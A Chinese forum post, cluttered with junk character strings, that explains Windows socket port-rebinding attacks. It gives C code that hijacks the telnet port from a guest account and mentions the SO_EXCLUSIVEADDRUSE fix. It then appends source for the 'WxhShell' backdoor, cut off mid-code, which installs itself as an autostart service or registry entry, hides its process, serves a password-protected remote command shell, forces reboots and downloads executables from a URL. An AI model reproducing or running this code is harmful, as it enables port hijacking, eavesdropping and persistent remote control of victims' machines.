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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g<MCvC@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {7 nz:f  
 6Xt c3  
  saddr.sin_family = AF_INET; $`Aps7A  
q]m$%>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Iyt.`z  
!Bb^M3iA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lf2(h4[1R  
h=ko_/<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^1[u'DW4  
rh6m  
  这意味着什么?意味着可以进行如下的攻击: [u/Wh+  
DgC;1U'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W/<C$T4  
93y!x}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &+8cI^ kp  
'V:ah3 8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e>$E67h<~  
FeuqqZ\=&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <0H^2ekd  
b'G!)n  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6 Y}Bza  
etH]-S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7.C~ OrGR  
(/Dr=D{ `  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KoTQc0b!  
Bl v @u?  
  #include -<aN$O  
  #include hN.{H:skL)  
  #include hx sW9  
  #include    <qCfw>%2F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7bx!A+, t  
  int main() %x|0<@b7-  
  { UoKXo*W2  
  WORD wVersionRequested; xtRHb''FX  
  DWORD ret; Z66q0wR7  
  WSADATA wsaData; g2GHsVS  
  BOOL val; c=~FXV!  
  SOCKADDR_IN saddr; Vw b6QIs  
  SOCKADDR_IN scaddr; # ,27,#  
  int err; ( T2 \   
  SOCKET s; @# &y  
  SOCKET sc; mdukl!_x  
  int caddsize; f#zm}+,`  
  HANDLE mt; u6~/" _FwY  
  DWORD tid;   K1^x+I7%U[  
  wVersionRequested = MAKEWORD( 2, 2 ); Py-}tFr  
  err = WSAStartup( wVersionRequested, &wsaData ); _tpqo>  
  if ( err != 0 ) { Y'2 |GJc2  
  printf("error!WSAStartup failed!\n"); Fs;_z9ej-u  
  return -1;  .'^Pg  
  } "A,-/~cBV  
  saddr.sin_family = AF_INET; |fg{Fpc  
   63y&MaqSJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ma(E}s  
GJ4R f%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2 1]8 7$  
  saddr.sin_port = htons(23); &\/p5RX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UqsX@jL!  
  { 0|@* `-:VO  
  printf("error!socket failed!\n"); TClgywL  
  return -1; o<8=@ ^T  
  } G,JNUok  
  val = TRUE; UqaV9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7.`:Z_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  a 9f%p  
  { }o MY  
  printf("error!setsockopt failed!\n"); y(0";\V  
  return -1; IJV1=/ NJW  
  } '"14(BvW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5t~p99#?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'J"m`a8no  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7>>6c7e  
\dw*yZ^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QIZbAnn_  
  { D "9Hv3  
  ret=GetLastError(); gl~>MasV&  
  printf("error!bind failed!\n"); mu}T,+9\  
  return -1; t^-yK;`?q:  
  } JVeb$_0k  
  listen(s,2); {P@OV1  
  while(1) o>}fKg<  
  { U4ELlxGe  
  caddsize = sizeof(scaddr); MC&sM-/  
  //接受连接请求 ;OynkZs)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y]gb`z$?  
  if(sc!=INVALID_SOCKET) sM$gfFx  
  { l2LUcI$ x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W_ hckq.  
  if(mt==NULL) # ^~[\8v>  
  { |T@\ -8Ok  
  printf("Thread Creat Failed!\n"); (:2,Rr1"  
  break; 1JXa/f+  
  } Q]d3a+dK  
  }  ^q=D!g  
  CloseHandle(mt); _@Le MNv  
  } llP 5  
  closesocket(s); JD}"_,-  
  WSACleanup(); t^zmv PDK  
  return 0; ">^O{X\  
  }   $Q cr  
  DWORD WINAPI ClientThread(LPVOID lpParam)  B1!b@0^  
  { 0kdPr:B Q0  
  SOCKET ss = (SOCKET)lpParam; Z U^dLN- N  
  SOCKET sc; KixS)sG  
  unsigned char buf[4096]; Q-g}{mFS  
  SOCKADDR_IN saddr; 2po>%Cp  
  long num; ) ]x/3J@  
  DWORD val; N1O.U"L;  
  DWORD ret; D-<9kBZs  
  //如果是隐藏端口应用的话,可以在此处加一些判断 42wa9UL<Ka  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EgT2a  
  saddr.sin_family = AF_INET; ZH<:YOQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )|?s!rw +  
  saddr.sin_port = htons(23); *6trK`tx^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8 aHs I(  
  { q`8M9-~  
  printf("error!socket failed!\n");  8~>5k  
  return -1; v8>?,N#  
  } ~\^h;A'3  
  val = 100; r- ];@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VaIFE~>E&  
  { 6cV -iDOH  
  ret = GetLastError(); DcQ[zdEz+  
  return -1; 6eNo}Tos9  
  } "=S< xT+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) = UT^5cl(  
  { (ugB3o  
  ret = GetLastError(); 4G4[IA u_  
  return -1; :7w^2/ZGo  
  } (79y!&9p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vxRy7:G"  
  { )d\u_m W^  
  printf("error!socket connect failed!\n"); q{?ku!cL  
  closesocket(sc); V{j>09u  
  closesocket(ss); @1w9!\7Vt  
  return -1; !6UtwCVR  
  } :bhpYEUMx  
  while(1) ^K#PcPF-j  
  { 9{;cp?\)M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !u0qF!/W  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lo%:$2*'p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $]Vvu{  
  num = recv(ss,buf,4096,0); 5zqlK-$  
  if(num>0) X(Wd  
  send(sc,buf,num,0); _rz*7-ks=  
  else if(num==0) ]}~[2k.  
  break; H~IN<3ko  
  num = recv(sc,buf,4096,0); =D2jJk?AX  
  if(num>0) .9<  i  
  send(ss,buf,num,0); &F*L=Ng  
  else if(num==0) LXIQpD,M  
  break; cnUYhxE+s  
  } %$)[qa3  
  closesocket(ss); FM)Es&p&  
  closesocket(sc); YB^[HE\#y  
  return 0 ; #Tjv(O[&  
  } %)Pn<! L  
B|~tW21  
~e ,D`Lv  
========================================================== Ez*9*]O*+  
&3SQVOW ~T  
下边附上一个代码,,WXhSHELL 8e`'Ox_5a  
{PXN$p:'  
========================================================== GtCbzNY  
l 4zl|6%  
#include "stdafx.h" c3X'Sv  
L@"1d.k_  
#include <stdio.h> 0<8p G:BQ  
#include <string.h> +$hqwNh@Z@  
#include <windows.h> 5w\>Whbd  
#include <winsock2.h> ;<JyA3i^V,  
#include <winsvc.h> [84f[`!Ui  
#include <urlmon.h> 1@j0kTJ~m  
"QWF&-kAI  
#pragma comment (lib, "Ws2_32.lib") =,/08Cs  
#pragma comment (lib, "urlmon.lib") :3z`+5Y*  
~JJuM  
#define MAX_USER   100 // 最大客户端连接数 GvL)SVv?  
#define BUF_SOCK   200 // sock buffer _k0 X)N+li  
#define KEY_BUFF   255 // 输入 buffer q"|,HpQ  
t4a/\{/#9|  
#define REBOOT     0   // 重启 #+v Iq?  
#define SHUTDOWN   1   // 关机 oA^aT:o +  
SIBNU3;DL  
#define DEF_PORT   5000 // 监听端口 bOt6q/f  
oJcDs-!  
#define REG_LEN     16   // 注册表键长度 .o(XnY)cgJ  
#define SVC_LEN     80   // NT服务名长度 C6=P(%y  
(8(7:aE $  
// 从dll定义API Hl,.6 >F?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kj o,?$r %  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A/XY' 3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p97}HT}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jm_b3!J  
{Lex((  
// wxhshell配置信息 om`x"x&6  
struct WSCFG { w"Q6'/P  
  int ws_port;         // 监听端口 JMMT886  
  char ws_passstr[REG_LEN]; // 口令 U4J9b p|  
  int ws_autoins;       // 安装标记, 1=yes 0=no c~@Z  
  char ws_regname[REG_LEN]; // 注册表键名 -'j_JJ  
  char ws_svcname[REG_LEN]; // 服务名 ~w&P]L\dB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7IrbwAGZ3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $*035f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bZ-"R 6a$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #}/YnVk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3;wAm/Z:Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZfPWH'P  
)jM' x&Vg  
}; }9&Z#1/  
8X6F6RK6,1  
// default Wxhshell configuration :x36^{7  
struct WSCFG wscfg={DEF_PORT, 7QXA*.' F  
    "xuhuanlingzhe", ,t`u3ykh  
    1, (]JZ1s|  
    "Wxhshell", v99gI%TA'  
    "Wxhshell", +d7sy0  
            "WxhShell Service", e)pQh& uD  
    "Wrsky Windows CmdShell Service", O]"3o,/]G  
    "Please Input Your Password: ", 8oM]gW;J~  
  1, 6TN!63{Cz  
  "http://www.wrsky.com/wxhshell.exe", }ze,6T*z  
  "Wxhshell.exe" g_kR5Wxpt  
    }; v8 Q/DJ~  
WE_jT1^/  
// 消息定义模块 c-|~ABtEpX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &d"c6il[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; < r6e23  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; svt%UE|_:$  
char *msg_ws_ext="\n\rExit."; i%1ny`Q  
char *msg_ws_end="\n\rQuit."; /%El0X  
char *msg_ws_boot="\n\rReboot..."; mN5`Fct*A>  
char *msg_ws_poff="\n\rShutdown...";  .AEOf0t  
char *msg_ws_down="\n\rSave to "; <78]OZ] Z  
X67.%>#3  
char *msg_ws_err="\n\rErr!"; ]}4{|& e  
char *msg_ws_ok="\n\rOK!"; /i$-ws-  
3=6`'PKRQ  
char ExeFile[MAX_PATH]; I) mP ?  
int nUser = 0; N|Cx";,|FZ  
HANDLE handles[MAX_USER]; <AZ21"oR/  
int OsIsNt; ~VNN  
64qm  
SERVICE_STATUS       serviceStatus; W/z\j/Rgc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oV4+w_rrLc  
S >E|A %  
// 函数声明 BUH~aV  
int Install(void); KmuE#Ia  
int Uninstall(void); ~Wh} W((L  
int DownloadFile(char *sURL, SOCKET wsh); qo1eHn4  
int Boot(int flag); (~YFm"S  
void HideProc(void); _{.=zv|3  
int GetOsVer(void); R|7yhsJq,  
int Wxhshell(SOCKET wsl); $ O1w 6\}_  
void TalkWithClient(void *cs); I\NiA>c  
int CmdShell(SOCKET sock); Q.5C$I  
int StartFromService(void); h'{}eYb+   
int StartWxhshell(LPSTR lpCmdLine); nZ;h&N -_-  
pEUbP,3M:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]<9=%m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JNQiCK,)}M  
l `D>h2]  
// 数据结构和表定义 [kdt]+'+  
SERVICE_TABLE_ENTRY DispatchTable[] = \ (y6o}aW  
{ #+mt}w/  
{wscfg.ws_svcname, NTServiceMain}, ,@+ 7(W  
{NULL, NULL} MQL1/>j;  
}; it=4cHT  
}*WNrS">S  
// 自我安装 ftVA  
int Install(void) )` nX~_'p  
{ ]=2wQ8  
  char svExeFile[MAX_PATH]; )@-v6;7b0  
  HKEY key; _%g}d/v}pO  
  strcpy(svExeFile,ExeFile); UQGOCP_  
"][MCVYP  
// 如果是win9x系统,修改注册表设为自启动 UjmBLXz@T  
if(!OsIsNt) { y`"~zq0D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~7Ji+AJA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PJC[#>}  
  RegCloseKey(key); !Vtt.j &4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1WGcv O)<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2?3D` `  
  RegCloseKey(key); ^;J@]&[ ~  
  return 0; l0c ws`V  
    } Yjv[rH5v  
  } f wN  
} t`b>iX%(1t  
else { \3P.GS{l  
wGd4:W  
// 如果是NT以上系统,安装为系统服务 V K/;ohTTP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W~15[r0  
if (schSCManager!=0) \;0J6LBc  
{ Lod$&k@@  
  SC_HANDLE schService = CreateService TH_Vw,)  
  ( ~z)diF<  
  schSCManager, Cm:&n|  
  wscfg.ws_svcname, R|PFGhi6"A  
  wscfg.ws_svcdisp, p5<2tSD  
  SERVICE_ALL_ACCESS, (2H e]M\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fH_G;#q  
  SERVICE_AUTO_START, xPa>-N=*  
  SERVICE_ERROR_NORMAL, {^TVZdw  
  svExeFile, Pb0+ z=L  
  NULL, *ey<R  
  NULL, >n,RBl  
  NULL, "y R56`=  
  NULL, 9/$D&tRN  
  NULL wAHW@q9CK  
  ); .r9-^01mG  
  if (schService!=0) 28l",j)S  
  { ],ow@}  
  CloseServiceHandle(schService); ,BM6s,\  
  CloseServiceHandle(schSCManager); 9*!C|gC9Ia  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <v<TsEI  
  strcat(svExeFile,wscfg.ws_svcname); nQ\ +Za==  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lQs|B '  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bP;cDQ(g  
  RegCloseKey(key); 8i!~w 7z  
  return 0; .lMIJN&/  
    } zh5{t0E}C  
  } 76[O3%  
  CloseServiceHandle(schSCManager); 9XGzQ45R  
} >S /Zd  
} &*TwEN^h  
du2q6"  
return 1; iqecm]Z0  
} Y21,!$4gb  
>SJ# rZ  
// 自我卸载 8Rq+eOP=S  
int Uninstall(void) <fX]`57Dc`  
{ }{*((@GY}  
  HKEY key; Wx}+Vq<q  
*#j+,q!X  
if(!OsIsNt) { ~8'4/wh+8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K~nk:}3Ui  
  RegDeleteValue(key,wscfg.ws_regname); 7&G[mOx0  
  RegCloseKey(key); bK `'zi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]a|3"DP5  
  RegDeleteValue(key,wscfg.ws_regname); V}732?Jy  
  RegCloseKey(key); G!~[+B  
  return 0; <wwcPe}  
  } 3 wVN:g7  
} kq6K<e4jO  
} jREj]V>  
else { 9NwA5TP9_  
ZVotIQ/Q'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B 95}_q  
if (schSCManager!=0) Tfc5R;Rw  
{ {.9phW4Vr?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  5#JGNxO  
  if (schService!=0) )I<p<HQD  
  { J&~nD(&TY  
  if(DeleteService(schService)!=0) {  eWO^n>Y  
  CloseServiceHandle(schService); [T', ZLR|  
  CloseServiceHandle(schSCManager); ocwRU0+j  
  return 0; R4,j  
  } h'wOslyFa  
  CloseServiceHandle(schService); YIA}F1:  
  } wC@5[e$  
  CloseServiceHandle(schSCManager); bu"R2~sb  
} TRG(W^<F  
} tBe)#-O  
M-KjRl  
return 1; 8;7Y}c  
} v#0R   
q#B^yk|Y  
// 从指定url下载文件 >'eOzMBn  
int DownloadFile(char *sURL, SOCKET wsh) b?h9G3J_a  
{ )5P*O5kQ -  
  HRESULT hr; ^=Rqa \;  
char seps[]= "/"; .)^@[yrkz  
char *token; 0A[p3xE\  
char *file; &)L2a)  
char myURL[MAX_PATH]; s)%RmsdL  
char myFILE[MAX_PATH]; yn<z!z%mz  
H<|I&nV  
strcpy(myURL,sURL); +M%i3A  
  token=strtok(myURL,seps); !]Z> T5$  
  while(token!=NULL) i> Ssp  
  {  G~T]m .  
    file=token; p~M1}mE  
  token=strtok(NULL,seps); fAWjk&9  
  } ,YFuMek  
NUBzmnA>8  
GetCurrentDirectory(MAX_PATH,myFILE); 0`/PEK{  
strcat(myFILE, "\\"); VY8 p[`  
strcat(myFILE, file); z^9Yoqog  
  send(wsh,myFILE,strlen(myFILE),0); MJ[#Gq\0R  
send(wsh,"...",3,0); th8f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P%>? O :a  
  if(hr==S_OK) 4R\bU"+jZ_  
return 0; V#!ihL/>  
else xd8UdQ, lt  
return 1; =9n$ at$l@  
BM{GSX  
} ")7,ZN;  
L f[>U  
// 系统电源模块 sChMIbq!Av  
int Boot(int flag) 94r8DkI  
{ .EVy?-   
  HANDLE hToken; 7\ d{F)7E  
  TOKEN_PRIVILEGES tkp; O!='U!X@P  
xbrxh-gV  
  if(OsIsNt) { Ay<'Z6`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hNUAwTH6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^[XxE Lx  
    tkp.PrivilegeCount = 1; 5gW`;Cdbyc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hb9X<N+p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8%JxXtWW`  
if(flag==REBOOT) { (5{|']G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IjN3 jU  
  return 0; ';??0M  
} e;pVoRI  
else { *w4jET>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,.tT9? m  
  return 0; EDvK9J  
} &$  F0  
  } ayyn6a8  
  else { A|tee@H*0  
if(flag==REBOOT) { "xZ]i)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +Tc4+q!  
  return 0; "5e~19  
} >]Hz-2b  
else { @~fg[)7M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MK[l*=\s  
  return 0; : N ^1T6v  
} Ken|!rL  
} FCQoz"M  
8YraW|H  
return 1; n1o/-UY  
} qAm$yfYs`  
k(o[T),_%0  
// win9x进程隐藏模块 +Uq9C-Iu  
void HideProc(void) g~.,-V}  
{ Y5=~>*e  
!U}A1)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @B ~! [l  
  if ( hKernel != NULL ) +GI[ Kq  
  { pOD|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nWN~G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V4qHaG  
    FreeLibrary(hKernel); b$[_(QUw  
  } (.P;VH9R\  
7CUu:6%  
return; *103  
} B Hn`e~  
>5wA B  
// 获取操作系统版本 jpyV52  
int GetOsVer(void) }p}i _'%  
{ KSVIX!EsX  
  OSVERSIONINFO winfo; (}O)pqZ>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j2lo~J)  
  GetVersionEx(&winfo); F}0QocD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gB&]kHLO  
  return 1; 2*n2!7jZ*  
  else - t4"BD  
  return 0; mc|T}B  
} x +|Fw d  
PqPLy  
// 客户端句柄模块 "%urT/F v&  
int Wxhshell(SOCKET wsl) %H>vMR-,~  
{ |`s}PcV  
  SOCKET wsh; 66D<Up'K  
  struct sockaddr_in client; {b^naE  
  DWORD myID; FFbMG:>:  
< .$<d  
  while(nUser<MAX_USER) dJ?VN!B0  
{ hiaj!&+Q  
  int nSize=sizeof(client); <,Sy:>:"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '15j$q  
  if(wsh==INVALID_SOCKET) return 1; BQSA;;n]  
yt>Pf <AI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yNc>s/  
if(handles[nUser]==0) NUH;GMj,,  
  closesocket(wsh); Y::fcMJr;Q  
else o}v # Df  
  nUser++; \q Q5x  
  } KU-z;}9s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aen(Mcd3bg  
8jqt=}b  
  return 0; pW:h\}%`n  
} jCW>=1:JGY  
(&PamsV*8  
// 关闭 socket 'nP'MA9b;a  
void CloseIt(SOCKET wsh) #lltXqvD?  
{ ; VK;_d  
closesocket(wsh); Z/q%%(fh 0  
nUser--; >1pD'UZIy7  
ExitThread(0); 78+H|bH8  
} *IGxa  
=d~]*[8  
// 客户端请求句柄 ifTVTd7O  
void TalkWithClient(void *cs) |rdG+ >  
{ &-<"HW  
wuzz Wq  
  SOCKET wsh=(SOCKET)cs; }K~JM1(26  
  char pwd[SVC_LEN]; KblOP{I  
  char cmd[KEY_BUFF]; kjaz{&P  
char chr[1]; n#z^uq|v  
int i,j; |GK [I  
^ eM=h  
  while (nUser < MAX_USER) { 1GOa'bxm  
 =e$ #m;  
if(wscfg.ws_passstr) { zIF &ZYP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [w=x0J&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bQXxb(^  
  //ZeroMemory(pwd,KEY_BUFF); 6 $ IXER  
      i=0; t vk^L3=<  
  while(i<SVC_LEN) { ez(4TtT  
6;n^/3*#  
  // 设置超时 L!S-f4^5  
  fd_set FdRead; yel>-=Vn  
  struct timeval TimeOut; CSr{MF`]e  
  FD_ZERO(&FdRead); FAM`+QtNw  
  FD_SET(wsh,&FdRead); 7S] h:q%%  
  TimeOut.tv_sec=8; nyQ FS  
  TimeOut.tv_usec=0; WcH^bAY6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <$?:|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $k'f)E  
3Xd+>'H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m*i~Vjxj-m  
  pwd=chr[0]; M|n)LyL  
  if(chr[0]==0xd || chr[0]==0xa) { iM8hGQ`  
  pwd=0; zNE!m:s  
  break; yqejd_cd  
  } 'Dat.@j  
  i++; LWVO%@)w  
    } !ox&`  
bx6@FKns}  
  // 如果是非法用户,关闭 socket 7[D0n7B@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C{!Czz.N  
} * uEU9fX  
S BFhC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y\+^\`Tqu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GK&yP%Z3  
So`xd *C!  
while(1) { @b>]q$)(}  
5&}icS  
  ZeroMemory(cmd,KEY_BUFF); FblGFm"P  
:[ITjkhde0  
      // 自动支持客户端 telnet标准   rA1 gH6D  
  j=0; 8OBvC\%  
  while(j<KEY_BUFF) { 2$\f !6p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $35Oyd3s<  
  cmd[j]=chr[0]; e. [+xOu`  
  if(chr[0]==0xa || chr[0]==0xd) { aNq Vs|H  
  cmd[j]=0; RLKO0 #  
  break; J&3;6I &  
  } 3M@>kIT8  
  j++; +uT=Wb \  
    } @W. `'b-  
iGhapD  
  // 下载文件 whLske-  
  if(strstr(cmd,"http://")) {  vo::y"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {#[a4@B0  
  if(DownloadFile(cmd,wsh)) [")0{LSA=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l w%fY{  
  else kkJg/:g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jV<LmVcZY  
  } rW`F|F%  
  else { 3/[=  
KDXo9FzF  
    switch(cmd[0]) { Iewq?s\Fo  
  wZC'BLD  
  // 帮助 ~f@<]  
  case '?': { 3YLnh@-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Fj]S8wI  
    break; 78.sf{I  
  } <5X@r#Lz  
  // 安装 ;8T<L[ ^U  
  case 'i': { .1pEq~>  
    if(Install()) ] !A;-m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K[ \z'9Q  
    else hV,3xrm?P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *jJ62-o  
    break; VLO>{"{'  
    } Ja (/ym^  
  // 卸载 ScTqnY$v  
  case 'r': { 'sA&Pm  
    if(Uninstall()) djSN{>S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Olno9_'  
    else "~[Rwh?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5sE^MS1  
    break; {c J6Lq&  
    } h)<R#xw  
  // 显示 wxhshell 所在路径 )ld7^G  
  case 'p': { %/^d]#  
    char svExeFile[MAX_PATH]; #>,cc?H-  
    strcpy(svExeFile,"\n\r"); 1z`,*eD7  
      strcat(svExeFile,ExeFile); (8*lLZ  
        send(wsh,svExeFile,strlen(svExeFile),0); `j(+Y  
    break; T2->  
    } $?s^HKF~  
  // 重启 s{IoL_PJP  
  case 'b': { aQG#bh [  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  jPs+i  
    if(Boot(REBOOT)) B@=Yj_s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C{ti>'"V  
    else { x)?\g{JH  
    closesocket(wsh); ms{R|vU%b  
    ExitThread(0); oF>GWst TR  
    } E??%)q  
    break; C=]3NB>Jc  
    } =;`YtOL  
  // 关机 F9<OKcXH  
  case 'd': { Ya_6Zd4O  
